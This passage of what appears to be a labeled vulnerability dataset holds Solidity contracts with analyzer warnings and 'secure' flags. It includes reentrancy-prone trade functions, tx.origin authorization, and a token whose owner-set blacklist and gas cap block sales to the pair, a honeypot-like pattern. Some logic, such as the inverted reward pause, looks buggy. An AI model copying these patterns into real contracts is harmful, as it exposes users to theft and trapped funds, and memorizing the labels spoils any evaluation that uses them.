(reentrancy-events | severity: Low | ID: e194c6d): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e194c6d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function cancelTrade(uint256 tradeId) external lock {\n require(\n tradeCount >= tradeId && tradeId > 0,\n \"NimbusERC20P2P_V1: invalid trade id\"\n );\n Trade storage trade = trades[tradeId];\n require(\n trade.initiator == msg.sender,\n \"NimbusERC20P2P_V1: not allowed\"\n );\n\t\t// timestamp | ID: 6412d7e\n require(\n trade.status == 0 && trade.deadline > block.timestamp,\n \"NimbusERC20P2P_V1: not active trade\"\n );\n trade.status = 2;\n\n if (trade.proposedAsset != address(NBU_WETH)) {\n\t\t\t// reentrancy-events | ID: e194c6d\n TransferHelper.safeTransfer(\n trade.proposedAsset,\n msg.sender,\n trade.proposedAmount\n );\n } else {\n\t\t\t// reentrancy-events | ID: e194c6d\n NBU_WETH.withdraw(trade.proposedAmount);\n\t\t\t// reentrancy-events | ID: e194c6d\n TransferHelper.safeTransferETH(msg.sender, trade.proposedAmount);\n }\n\n\t\t// reentrancy-events | ID: e194c6d\n emit CancelTrade(tradeId);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 1ebf4d6): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for 1ebf4d6: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 74173e0): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 74173e0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 6550b72): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 6550b72: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function withdrawOverdueAsset(uint256 tradeId) external lock {\n require(\n tradeCount >= tradeId && tradeId > 0,\n \"NimbusERC20P2P_V1: invalid trade id\"\n );\n Trade storage trade = trades[tradeId];\n require(\n trade.initiator == msg.sender,\n \"NimbusERC20P2P_V1: not allowed\"\n );\n\t\t// timestamp | ID: 1ebf4d6\n require(\n trade.status == 0 && trade.deadline < block.timestamp,\n \"NimbusERC20P2P_V1: not available for withdrawal\"\n );\n\n if (trade.proposedAsset != address(NBU_WETH)) {\n\t\t\t// reentrancy-events | ID: 74173e0\n\t\t\t// reentrancy-no-eth | ID: 6550b72\n TransferHelper.safeTransfer(\n trade.proposedAsset,\n msg.sender,\n trade.proposedAmount\n );\n } else {\n\t\t\t// reentrancy-events | ID: 74173e0\n\t\t\t// reentrancy-no-eth | ID: 6550b72\n NBU_WETH.withdraw(trade.proposedAmount);\n\t\t\t// reentrancy-events | ID: 74173e0\n\t\t\t// reentrancy-no-eth | ID: 6550b72\n TransferHelper.safeTransferETH(msg.sender, trade.proposedAmount);\n }\n\n\t\t// reentrancy-no-eth | ID: 6550b72\n trade.status = 3;\n\n\t\t// reentrancy-events | ID: 74173e0\n emit WithdrawOverdueAsset(tradeId);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: b6b8580): NimbusERC20P2P_V1.state(uint256) uses timestamp for comparisons Dangerous comparisons trade.deadline < block.timestamp\n\t// Recommendation for b6b8580: Avoid relying on 'block.timestamp'.\n function state(uint256 tradeId) public view returns (TradeState) {\n require(\n tradeCount >= tradeId && tradeId > 0,\n \"NimbusERC20P2P_V1: invalid trade id\"\n );\n Trade storage trade = trades[tradeId];\n if (trade.status == 1) {\n return TradeState.Succeeded;\n } else if (trade.status == 2 || trade.status == 3) {\n return TradeState(trade.status);\n\t\t// timestamp | ID: b6b8580\n } else if (trade.deadline < block.timestamp) {\n return TradeState.Overdue;\n } else {\n return TradeState.Active;\n }\n }\n\n function userTrades(address user) public view returns (uint256[] memory) {\n return _userTrades[user];\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 9aa3fc6): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for 9aa3fc6: Avoid relying on 'block.timestamp'.\n function _createTrade(\n address proposedAsset,\n uint256 proposedAmount,\n address askedAsset,\n uint256 askedAmount,\n uint256 deadline\n ) private returns (uint256 tradeId) {\n require(\n askedAsset != proposedAsset,\n \"NimbusERC20P2P_V1: asked asset can't be equal to proposed asset\"\n );\n require(proposedAmount > 0, \"NimbusERC20P2P_V1: zero proposed amount\");\n require(askedAmount > 0, \"NimbusERC20P2P_V1: zero asked amount\");\n\t\t// timestamp | ID: 9aa3fc6\n require(\n deadline > block.timestamp,\n \"NimbusERC20P2P_V1: incorrect deadline\"\n );\n\t\t// reentrancy-benign | ID: 1c5df58\n\t\t// reentrancy-benign | ID: 0b53ab7\n\t\t// reentrancy-benign | ID: 512f50c\n tradeId = ++tradeCount;\n Trade storage trade = trades[tradeId];\n\t\t// reentrancy-benign | ID: 1c5df58\n\t\t// reentrancy-benign | ID: 0b53ab7\n\t\t// reentrancy-benign | ID: 512f50c\n trade.initiator = msg.sender;\n\t\t// reentrancy-benign | ID: 1c5df58\n\t\t// reentrancy-benign | ID: 0b53ab7\n\t\t// reentrancy-benign | ID: 512f50c\n trade.proposedAsset = proposedAsset;\n\t\t// reentrancy-benign | ID: 1c5df58\n\t\t// reentrancy-benign | ID: 0b53ab7\n\t\t// reentrancy-benign | ID: 512f50c\n trade.proposedAmount = proposedAmount;\n\t\t// reentrancy-benign | ID: 1c5df58\n\t\t// reentrancy-benign | ID: 0b53ab7\n\t\t// reentrancy-benign | ID: 512f50c\n trade.askedAsset = askedAsset;\n\t\t// reentrancy-benign | ID: 1c5df58\n\t\t// reentrancy-benign | ID: 0b53ab7\n\t\t// reentrancy-benign | ID: 512f50c\n trade.askedAmount = askedAmount;\n\t\t// reentrancy-benign | ID: 1c5df58\n\t\t// reentrancy-benign | ID: 0b53ab7\n\t\t// reentrancy-benign | ID: 512f50c\n trade.deadline = deadline;\n\n\t\t// reentrancy-benign | ID: 1c5df58\n\t\t// reentrancy-benign | ID: 0b53ab7\n\t\t// reentrancy-benign | ID: 512f50c\n _userTrades[msg.sender].push(tradeId);\n\n\t\t// reentrancy-events | ID: bc9891d\n\t\t// reentrancy-events | ID: 23492c5\n\t\t// reentrancy-events | ID: 7780586\n emit NewTrade(\n proposedAsset,\n proposedAmount,\n askedAsset,\n askedAmount,\n deadline,\n tradeId\n );\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 6f2a578): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 6f2a578: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: ed1e5a8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for ed1e5a8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _supportTrade(uint256 tradeId) private {\n Trade storage trade = trades[tradeId];\n\n if (trade.proposedAsset != address(NBU_WETH)) {\n\t\t\t// reentrancy-events | ID: 968ad42\n\t\t\t// reentrancy-events | ID: d803382\n\t\t\t// reentrancy-events | ID: 6f2a578\n\t\t\t// reentrancy-events | ID: 0e96807\n\t\t\t// reentrancy-no-eth | ID: ed1e5a8\n TransferHelper.safeTransfer(\n trade.proposedAsset,\n msg.sender,\n trade.proposedAmount\n );\n } else {\n\t\t\t// reentrancy-events | ID: 968ad42\n\t\t\t// reentrancy-events | ID: d803382\n\t\t\t// reentrancy-events | ID: 6f2a578\n\t\t\t// reentrancy-events | ID: 0e96807\n\t\t\t// reentrancy-no-eth | ID: ed1e5a8\n NBU_WETH.withdraw(trade.proposedAmount);\n\t\t\t// reentrancy-events | ID: 968ad42\n\t\t\t// reentrancy-events | ID: d803382\n\t\t\t// reentrancy-events | ID: 6f2a578\n\t\t\t// reentrancy-events | ID: 0e96807\n\t\t\t// reentrancy-no-eth | ID: ed1e5a8\n TransferHelper.safeTransferETH(msg.sender, trade.proposedAmount);\n }\n\t\t// reentrancy-no-eth | ID: ed1e5a8\n trade.counterparty = msg.sender;\n\t\t// reentrancy-no-eth | ID: ed1e5a8\n trade.status = 1;\n\t\t// reentrancy-events | ID: 968ad42\n\t\t// reentrancy-events | ID: d803382\n\t\t// reentrancy-events | ID: 6f2a578\n\t\t// reentrancy-events | ID: 0e96807\n emit SupportTrade(tradeId, msg.sender);\n }\n}",
"file_name": "solidity_code_2734.sol",
"secure": 0,
"size_bytes": 21517
} |
{
"code": "// SPDX-License-Identifier: Unlicense\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"./StorageSlot.sol\" as StorageSlot;\n\ncontract Contract {\n bytes32 internal constant KEY =\n 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 7165925): Contract.constructor(bytes,bytes) ignores return value by Address.functionDelegateCall(addr,_data)\n\t// Recommendation for 7165925: Ensure that all the return values of the function calls are used.\n constructor(bytes memory _a, bytes memory _data) payable {\n assert(\n KEY ==\n bytes32(uint256(keccak256(\"eip1967.proxy.implementation\")) - 1)\n );\n address addr = abi.decode(_a, (address));\n StorageSlot.getAddressSlot(KEY).value = addr;\n if (_data.length > 0) {\n\t\t\t// unused-return | ID: 7165925\n Address.functionDelegateCall(addr, _data);\n }\n }\n\n function _beforeFallback() internal virtual {}\n\n fallback() external payable virtual {\n _fallback();\n }\n\n receive() external payable virtual {\n _fallback();\n }\n\n function _g(address to) internal virtual {\n assembly {\n calldatacopy(0, 0, calldatasize())\n let result := delegatecall(gas(), to, 0, calldatasize(), 0, 0)\n returndatacopy(0, 0, returndatasize())\n switch result\n case 0 {\n revert(0, returndatasize())\n }\n default {\n return(0, returndatasize())\n }\n }\n }\n\n function _fallback() internal virtual {\n _beforeFallback();\n _g(StorageSlot.getAddressSlot(KEY).value);\n }\n}",
"file_name": "solidity_code_2735.sol",
"secure": 0,
"size_bytes": 1824
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nabstract contract StoreHubInterface {\n mapping(address => bool) public isValidStore;\n}",
"file_name": "solidity_code_2736.sol",
"secure": 1,
"size_bytes": 153
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nabstract contract StoreProxy {\n address public owner;\n}",
"file_name": "solidity_code_2737.sol",
"secure": 1,
"size_bytes": 122
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./StoreHubInterface.sol\" as StoreHubInterface;\nimport \"./StoreProxy.sol\" as StoreProxy;\n\ncontract Metadata {\n event MetaDataUpdated(address indexed store, string[7] metaData);\n\n\t// WARNING Optimization Issue (immutable-states | ID: dd2ed8c): Metadata.usdcHub should be immutable \n\t// Recommendation for dd2ed8c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n StoreHubInterface usdcHub;\n\n constructor(address _hub) {\n usdcHub = StoreHubInterface(_hub);\n }\n\n function setMetaData(\n address _store,\n string[7] calldata _metaData\n ) external {\n require(usdcHub.isValidStore(_store) == true);\n require(StoreProxy(_store).owner() == msg.sender);\n emit MetaDataUpdated(_store, _metaData);\n }\n}",
"file_name": "solidity_code_2738.sol",
"secure": 1,
"size_bytes": 898
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract ERC20PresetFixedSupply is ERC20Burnable {\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3e269f5): ERC20PresetFixedSupply.constructor(string,string,uint256,address).name shadows ERC20.name() (function)\n\t// Recommendation for 3e269f5: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: c43732c): ERC20PresetFixedSupply.constructor(string,string,uint256,address).symbol shadows ERC20.symbol() (function)\n\t// Recommendation for c43732c: Rename the local variables that shadow another component.\n constructor(\n string memory name,\n string memory symbol,\n uint256 initialSupply,\n address owner\n ) ERC20(name, symbol) {\n _mint(owner, initialSupply);\n }\n}",
"file_name": "solidity_code_2739.sol",
"secure": 0,
"size_bytes": 1029
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./IFactory.sol\" as IFactory;\nimport \"./IRouter.sol\" as IRouter;\n\ncontract DecentraAI is ERC20, Ownable {\n mapping(address => bool) public whiteList;\n\n bool public openedTrade = false;\n\n address public pair;\n\n IRouter public _Router;\n\n uint256 public maxTxAmount;\n\n struct StoreData {\n uint256 khiga;\n uint256 buy;\n uint256 sell;\n mapping(address => bool) bLL;\n }\n\n storeData public s;\n\n constructor() ERC20(\"Decentra AI\", \"DAI\") {\n _Router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n exMaxTransaction(address(_Router), true);\n\n exMaxTransaction(address(this), true);\n\n exMaxTransaction(msg.sender, true);\n\n _mint(msg.sender, 100000000 * 10 ** decimals());\n\n maxTxAmount = (totalSupply() * 2) / 100;\n\n s.buy = 5;\n\n s.sell = 5;\n\n s.khiga = 900 gwei;\n }\n\n function swapRouter(IRouter _a) public onlyOwner {\n _Router = _a;\n }\n\n function exMaxTransaction(address account, bool enable) internal {\n whiteList[account] = enable;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: fa706c9): Reentrancy in DecentraAI.openTrade() External calls pair = IFactory(_Router.factory()).getPair(address(this),_Router.WETH()) State variables written after the call(s) openedTrade = true\n\t// Recommendation for fa706c9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrade() public onlyOwner {\n\t\t// reentrancy-benign | ID: fa706c9\n pair = IFactory(_Router.factory()).getPair(\n address(this),\n _Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: fa706c9\n openedTrade = true;\n }\n\n function SwapBLL(address spender, bool state) public onlyOwner {\n s.bLL[spender] = state;\n }\n\n function StoreData(uint256 _a) public onlyOwner {\n s.khiga = _a;\n }\n\n function removeLimit() public onlyOwner {\n maxTxAmount = totalSupply();\n }\n\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: d80aa89): DecentraAI._transfer(address,address,uint256) uses tx.origin for authorization s.bLL[tx.origin] && to == pair && tx.gasprice > 0 && balanceOf(tx.origin) > 0\n\t// Recommendation for d80aa89: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: 2d1363c): DecentraAI._transfer(address,address,uint256) uses tx.origin for authorization whiteList[tx.origin]\n\t// Recommendation for 2d1363c: Do not use 'tx.origin' for authorization.\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual override {\n\t\t// tx-origin | ID: 2d1363c\n if (whiteList[tx.origin]) {\n super._transfer(from, to, amount);\n\n return;\n } else {\n require(openedTrade, \"Trade has not been opened yet\");\n\n require(amount < maxTxAmount);\n\n bool trade = (to == pair) ? true : false;\n\n if (\n\t\t\t\t// tx-origin | ID: d80aa89\n s.bLL[tx.origin] &&\n to == pair &&\n tx.gasprice > 0 &&\n balanceOf(tx.origin) > 0\n ) {\n revert();\n }\n\n if (trade && tx.gasprice > s.khiga) {\n revert();\n }\n\n if (from != pair && to != pair) {\n require(!s.bLL[from]);\n }\n\n uint256 txAmount;\n\n txAmount = (!trade)\n ? ((amount * s.buy) / 100)\n : ((amount * s.sell) / 100);\n\n super._transfer(from, to, amount - txAmount);\n\n if (txAmount > 0) {\n super._transfer(from, address(this), txAmount);\n }\n\n return;\n }\n }\n\n function reduceTax(uint256 _newTax) public onlyOwner {\n require(_newTax < s.buy && _newTax < s.sell);\n\n s.buy = _newTax;\n\n s.sell = _newTax;\n }\n}",
"file_name": "solidity_code_274.sol",
"secure": 0,
"size_bytes": 4368
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ERC20PresetFixedSupply.sol\" as ERC20PresetFixedSupply;\n\ncontract TestScaleSwapToken is ERC20PresetFixedSupply {\n constructor(\n uint256 initialSupply,\n address owner\n )\n ERC20PresetFixedSupply(\n \"TestScaleSwapToken\",\n \"TSCA\",\n initialSupply,\n owner\n )\n {}\n}",
"file_name": "solidity_code_2740.sol",
"secure": 1,
"size_bytes": 423
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface ITokens {\n function balanceGenesis(address owner) external view returns (uint256);\n}",
"file_name": "solidity_code_2741.sol",
"secure": 1,
"size_bytes": 161
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface ITokids {\n function balanceKids(address owner) external view returns (uint256);\n}",
"file_name": "solidity_code_2742.sol",
"secure": 1,
"size_bytes": 158
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface ITokings {\n function balanceKings(address owner) external view returns (uint256);\n}",
"file_name": "solidity_code_2743.sol",
"secure": 1,
"size_bytes": 160
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./iToadkens.sol\" as iToadkens;\nimport \"./iToadkids.sol\" as iToadkids;\nimport \"./iToadkings.sol\" as iToadkings;\n\ncontract Croak is ERC20, Ownable {\n iToadkens public Toadkens;\n iToadkids public Toadkids;\n iToadkings public Toadkings;\n\n uint256 public BASE_RATE = 10 ether;\n uint256 public KIDS_RATE = 5 ether;\n uint256 public KINGS_RATE = 15 ether;\n\t// WARNING Optimization Issue (immutable-states | ID: 8fe99f0): Croak.START should be immutable \n\t// Recommendation for 8fe99f0: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public START;\n bool rewardPaused = false;\n\n mapping(address => uint256) public rewards;\n mapping(address => uint256) public lastUpdate;\n mapping(address => bool) public allowedAddresses;\n\n constructor(\n address toadkidsAddress,\n address toadkensAddress,\n address toadkingsAddress\n ) ERC20(\"Croak\", \"CROAK\") {\n Toadkids = iToadkids(toadkidsAddress);\n Toadkens = iToadkens(toadkensAddress);\n Toadkings = iToadkings(toadkingsAddress);\n START = block.timestamp;\n }\n\n function updateToadkensReward(address from, address to) external {\n require(msg.sender == address(Toadkens));\n if (from != address(0)) {\n rewards[from] += getPendingToadkensReward(from);\n lastUpdate[from] = block.timestamp;\n }\n if (to != address(0)) {\n rewards[to] += getPendingToadkensReward(to);\n lastUpdate[to] = block.timestamp;\n }\n }\n\n function updateToadkidsReward(address from, address to) external {\n require(msg.sender == address(Toadkids));\n if (from != address(0)) {\n rewards[from] += getPendingKidsReward(from);\n lastUpdate[from] = block.timestamp;\n }\n if (to != address(0)) {\n rewards[to] += getPendingKidsReward(to);\n lastUpdate[to] = block.timestamp;\n }\n }\n\n function updateToadkingsReward(address from, address to) external {\n require(msg.sender == address(Toadkings));\n if (from != address(0)) {\n rewards[from] += getPendingKingsReward(from);\n lastUpdate[from] = block.timestamp;\n }\n if (to != address(0)) {\n rewards[to] += getPendingKingsReward(to);\n lastUpdate[to] = block.timestamp;\n }\n }\n\n function claimReward() external {\n require(rewardPaused, \"Claiming reward has been paused\");\n _mint(msg.sender, rewards[msg.sender] + getPendingRewards(msg.sender));\n rewards[msg.sender] = 0;\n lastUpdate[msg.sender] = block.timestamp;\n }\n\n function burn(address user, uint256 amount) external {\n require(\n allowedAddresses[msg.sender] || msg.sender == address(Toadkens),\n \"Address does not have permission to burn\"\n );\n _burn(user, amount);\n }\n\n function getTotalClaimable(address user) external view returns (uint256) {\n return rewards[user] + getPendingRewards(user);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: f6fcd83): Croak.getPendingToadkensReward(address) uses timestamp for comparisons Dangerous comparisons lastUpdate[user] >= START\n\t// Recommendation for f6fcd83: Avoid relying on 'block.timestamp'.\n function getPendingToadkensReward(\n address user\n ) internal view returns (uint256) {\n\t\t// timestamp | ID: f6fcd83\n return\n (Toadkens.balanceGenesis(user) *\n BASE_RATE *\n (block.timestamp -\n (lastUpdate[user] >= START ? lastUpdate[user] : START))) /\n 86400;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: d399a74): Croak.getPendingKidsReward(address) uses timestamp for comparisons Dangerous comparisons lastUpdate[user] >= START\n\t// Recommendation for d399a74: Avoid relying on 'block.timestamp'.\n function getPendingKidsReward(\n address user\n ) internal view returns (uint256) {\n\t\t// timestamp | ID: d399a74\n return\n (Toadkids.balanceKids(user) *\n KINGS_RATE *\n (block.timestamp -\n (lastUpdate[user] >= START ? lastUpdate[user] : START))) /\n 86400;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: ac1b987): Croak.getPendingKingsReward(address) uses timestamp for comparisons Dangerous comparisons lastUpdate[user] >= START\n\t// Recommendation for ac1b987: Avoid relying on 'block.timestamp'.\n function getPendingKingsReward(\n address user\n ) internal view returns (uint256) {\n\t\t// timestamp | ID: ac1b987\n return\n (Toadkings.balanceKings(user) *\n KINGS_RATE *\n (block.timestamp -\n (lastUpdate[user] >= START ? lastUpdate[user] : START))) /\n 86400;\n }\n\n function getPendingRewards(address user) internal view returns (uint256) {\n return\n getPendingKidsReward(user) +\n getPendingToadkensReward(user) +\n getPendingKingsReward(user);\n }\n\n function setAllowedAddresses(\n address _address,\n bool _access\n ) public onlyOwner {\n allowedAddresses[_address] = _access;\n }\n\n function toggleReward() public onlyOwner {\n rewardPaused = !rewardPaused;\n }\n\n function setToadkens(address toadkensAddress) external onlyOwner {\n Toadkens = iToadkens(toadkensAddress);\n }\n\n function setToadkids(address kidsAddress) external onlyOwner {\n Toadkids = iToadkids(kidsAddress);\n }\n\n function setToadkings(address kingsAddress) external onlyOwner {\n Toadkings = iToadkings(kingsAddress);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 9cf7963): Croak.setNewRates(uint256,uint256,uint256) should emit an event for BASE_RATE = _base KINGS_RATE = _kings \n\t// Recommendation for 9cf7963: Emit an event for critical parameter changes.\n function setNewRates(\n uint256 _base,\n uint256 _kids,\n uint256 _kings\n ) external onlyOwner {\n\t\t// events-maths | ID: 9cf7963\n BASE_RATE = _base;\n KIDS_RATE = _kids;\n\t\t// events-maths | ID: 9cf7963\n KINGS_RATE = _kings;\n }\n\n function withdraw() public onlyOwner {\n uint256 balance = address(this).balance;\n payable(msg.sender).transfer(balance);\n }\n}",
"file_name": "solidity_code_2744.sol",
"secure": 0,
"size_bytes": 6810
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ERC721A__Initializable.sol\" as ERC721A__Initializable;\nimport \"./ERC721AUpgradeable.sol\" as ERC721AUpgradeable;\nimport \"./IERC721AQueryableUpgradeable.sol\" as IERC721AQueryableUpgradeable;\n\nabstract contract ERC721AQueryableUpgradeable is\n ERC721A__Initializable,\n ERC721AUpgradeable,\n IERC721AQueryableUpgradeable\n{\n function __ERC721AQueryable_init() internal onlyInitializingERC721A {\n __ERC721AQueryable_init_unchained();\n }\n\n function __ERC721AQueryable_init_unchained()\n internal\n onlyInitializingERC721A\n {}\n\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 45ee7d2): ERC721AQueryableUpgradeable.explicitOwnershipOf(uint256).ownership is a local variable never initialized\n\t// Recommendation for 45ee7d2: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function explicitOwnershipOf(\n uint256 tokenId\n ) public view virtual override returns (TokenOwnership memory) {\n TokenOwnership memory ownership;\n\n if (tokenId < _startTokenId() || tokenId >= _nextTokenId()) {\n return ownership;\n }\n\n ownership = _ownershipAt(tokenId);\n\n if (ownership.burned) {\n return ownership;\n }\n\n return _ownershipOf(tokenId);\n }\n\n function explicitOwnershipsOf(\n uint256[] calldata tokenIds\n ) external view virtual override returns (TokenOwnership[] memory) {\n unchecked {\n uint256 tokenIdsLength = tokenIds.length;\n\n TokenOwnership[] memory ownerships = new TokenOwnership[](\n tokenIdsLength\n );\n\n for (uint256 i; i != tokenIdsLength; ++i) {\n ownerships[i] = explicitOwnershipOf(tokenIds[i]);\n }\n\n return ownerships;\n }\n }\n\n function tokensOfOwnerIn(\n address owner,\n uint256 start,\n uint256 stop\n ) external view virtual override returns (uint256[] memory) {\n unchecked {\n if (start >= stop) revert InvalidQueryRange();\n\n uint256 tokenIdsIdx;\n\n uint256 stopLimit = _nextTokenId();\n\n if (start < _startTokenId()) {\n start = _startTokenId();\n }\n\n if (stop > stopLimit) {\n stop = stopLimit;\n }\n\n uint256 tokenIdsMaxLength = balanceOf(owner);\n\n if (start < stop) {\n uint256 rangeLength = stop - start;\n\n if (rangeLength < tokenIdsMaxLength) {\n tokenIdsMaxLength = rangeLength;\n }\n } else {\n tokenIdsMaxLength = 0;\n }\n\n uint256[] memory tokenIds = new uint256[](tokenIdsMaxLength);\n\n if (tokenIdsMaxLength == 0) {\n return tokenIds;\n }\n\n TokenOwnership memory ownership = explicitOwnershipOf(start);\n\n address currOwnershipAddr;\n\n if (!ownership.burned) {\n currOwnershipAddr = ownership.addr;\n }\n\n for (\n uint256 i = start;\n i != stop && tokenIdsIdx != tokenIdsMaxLength;\n ++i\n ) {\n ownership = _ownershipAt(i);\n\n if (ownership.burned) {\n continue;\n }\n\n if (ownership.addr != address(0)) {\n currOwnershipAddr = ownership.addr;\n }\n\n if (currOwnershipAddr == owner) {\n tokenIds[tokenIdsIdx++] = i;\n }\n }\n\n assembly {\n mstore(tokenIds, tokenIdsIdx)\n }\n\n return tokenIds;\n }\n }\n\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: c7f32ef): ERC721AQueryableUpgradeable.tokensOfOwner(address).tokenIdsIdx is a local variable never initialized\n\t// Recommendation for c7f32ef: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 502e8e4): ERC721AQueryableUpgradeable.tokensOfOwner(address).currOwnershipAddr is a local variable never initialized\n\t// Recommendation for 502e8e4: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function tokensOfOwner(\n address owner\n ) external view virtual override returns (uint256[] memory) {\n unchecked {\n uint256 tokenIdsIdx;\n\n address currOwnershipAddr;\n\n uint256 tokenIdsLength = balanceOf(owner);\n\n uint256[] memory tokenIds = new uint256[](tokenIdsLength);\n\n TokenOwnership memory ownership;\n\n for (\n uint256 i = _startTokenId();\n tokenIdsIdx != tokenIdsLength;\n ++i\n ) {\n ownership = _ownershipAt(i);\n\n if (ownership.burned) {\n continue;\n }\n\n if (ownership.addr != address(0)) {\n currOwnershipAddr = ownership.addr;\n }\n\n if (currOwnershipAddr == owner) {\n tokenIds[tokenIdsIdx++] = i;\n }\n }\n\n return tokenIds;\n }\n }\n}",
"file_name": "solidity_code_2745.sol",
"secure": 0,
"size_bytes": 5710
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract FULLSEND is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\n mapping(address => bool) private _enable;\n\t// WARNING Optimization Issue (immutable-states | ID: 638757a): FULLSEND.uniswapV2Router should be immutable \n\t// Recommendation for 638757a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 public uniswapV2Router;\n\t// WARNING Optimization Issue (immutable-states | ID: ce5455f): FULLSEND.uniswapV2Pair should be immutable \n\t// Recommendation for ce5455f: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n constructor() {\n _mint(\n 0x348290B5b25E629Fa70B9F5eB59094A0451B29a0,\n 100000000000000 * 10 ** 18\n );\n _enable[0x348290B5b25E629Fa70B9F5eB59094A0451B29a0] = true;\n\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n uniswapV2Router = 